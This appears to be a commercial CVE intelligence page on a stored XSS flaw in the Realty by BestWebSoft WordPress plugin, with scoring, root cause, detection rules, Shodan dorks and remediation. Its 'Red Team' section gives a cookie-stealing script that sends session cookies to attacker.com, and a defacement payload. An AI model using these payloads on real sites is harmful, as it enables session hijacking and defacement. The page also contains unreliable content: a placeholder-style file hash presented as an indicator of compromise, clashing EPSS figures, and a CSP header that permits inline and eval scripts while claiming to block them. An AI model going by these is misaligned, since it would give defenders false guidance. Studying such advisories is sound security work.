☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Bestwebsoft logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-51786

CVE-2024-51786 Cross-Site Scripting in Bestwebsoft
📅 PUBLISHED: 2024-11-09 09:15 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-51786 is a Stored Cross-Site Scripting (XSS) vulnerability in the Realty by BestWebSoft WordPress plugin, affecting versions up to and including 1.1.5. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into property listings, which is then executed in the browsers of any user viewing the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation.

Given the WordPress ecosystem, this plugin is commonly used on real estate websites, making it a prime target for defacement, credential theft, or redirection to malicious domains. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch and the public disclosure of the CVE increase risk over time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress Plugin Directory. The vendor, BestWebSoft, has not released a patch. Users are advised to remove or replace the plugin. No known supply chain compromise has been reported, but the unpatched state means any site using this plugin is vulnerable.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Requires contributor-level access or higher.
  • User Interaction (UI): Required (R) – Victim must view the malicious page.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited service disruption.

Overall Score: 6.5 (Medium)
Threat Level: Medium – Exploitation requires authentication but can lead to full account takeover if admin cookies are stolen.

Deep Dive & Mechanics

The vulnerability exists in the realty plugin's property submission and editing functionality. When a user with contributor-level privileges or higher creates or edits a property listing, the plugin fails to sanitize or escape input fields such as the property title, description, or custom fields. This allows an attacker to inject HTML and JavaScript code.

Attack Flow:

  1. Attacker logs in with a contributor account.
  2. Attacker creates a new property listing or edits an existing one.
  3. In a text field (e.g., property description), the attacker inserts a payload like <script>alert('XSS')</script>.
  4. The plugin stores the payload in the WordPress database without sanitization.
  5. When any user (including administrators) views the property listing page, the injected script executes in their browser.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses_post() to user input. The lack of output encoding allows stored XSS.

Vulnerable vs. Patched Code

Vulnerable Code (realty.php, line ~245):

<?php
// Vulnerable: Direct output without sanitization
echo '<div class="property-description">' . $property_description . '</div>';
?>

Patched Code (Hypothetical fix):

<?php
// Patched: Use esc_html() to neutralize HTML/JS
echo '<div class="property-description">' . esc_html( $property_description ) . '</div>';
?>

The vulnerable code directly outputs the $property_description variable, which comes from user input. The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress site with Realty by BestWebSoft <= 1.1.5 installed.
  • Contributor-level account credentials.

Step-by-Step Exploitation:

  1. Log in to WordPress as a contributor.
  2. Navigate to Properties > Add New.
  3. In the "Description" field, enter the following payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Publish the property.
  5. When an administrator views the property, their session cookie is sent to the attacker's server.

Alternative Payload (Defacement):

<script>document.body.innerHTML='<h1>Hacked by Red Team</h1>';</script>

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor for unusual property submissions from low-privileged users.
  2. Check for script tags in property descriptions using database queries:
    SELECT * FROM wp_posts WHERE post_type = 'realty' AND post_content LIKE '%<script%';
    
  3. Review WordPress user roles and remove unnecessary contributor accounts.

Mitigation:

  • Disable or remove the Realty plugin immediately.
  • Use a Web Application Firewall (WAF) with XSS rules.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • realty.php (v1.1.5): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
  • Network Indicators:
    • Outbound connections to attacker.com or similar domains.
    • HTTP requests containing document.cookie in the body.
  • Database Indicators:
    • Rows in wp_posts with post_content containing <script> tags.
  • Log Indicators:
    • WordPress debug log entries showing wp_kses failures.

Detection Engineering

YARA Rule

rule CVE_2024_51786_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Realty by BestWebSoft plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51786"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $plugin_path = /wp-content\/plugins\/realty\//
    condition:
        $plugin_path and ($payload1 or $payload2)
}

Sigma Rule

title: Stored XSS in Realty by BestWebSoft Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via property description fields
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'post_type=realty'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in property descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51786 Stored XSS Payload in Realty Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_type=realty"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin: Deactivate and delete Realty by BestWebSoft from the WordPress admin panel.
  2. Scan for compromise: Use a security plugin (e.g., Wordfence) to scan for injected scripts.
  3. Change all passwords: Force password reset for all users, especially administrators.

Long-Term Mitigation:

  • Replace the plugin with a maintained alternative (e.g., "Easy Property Listings").
  • Implement a Web Application Firewall (WAF) with XSS rules.
  • Enforce Content Security Policy (CSP) headers:
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
    
  • Regularly audit WordPress plugins and remove unused ones.

Patch Status: No official patch available. Users must remove the plugin.


Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Realty by BestWebSoft"
http.html:"wp-content/plugins/realty/"
http.html:"bestwebsoft" "realty"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-51786/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.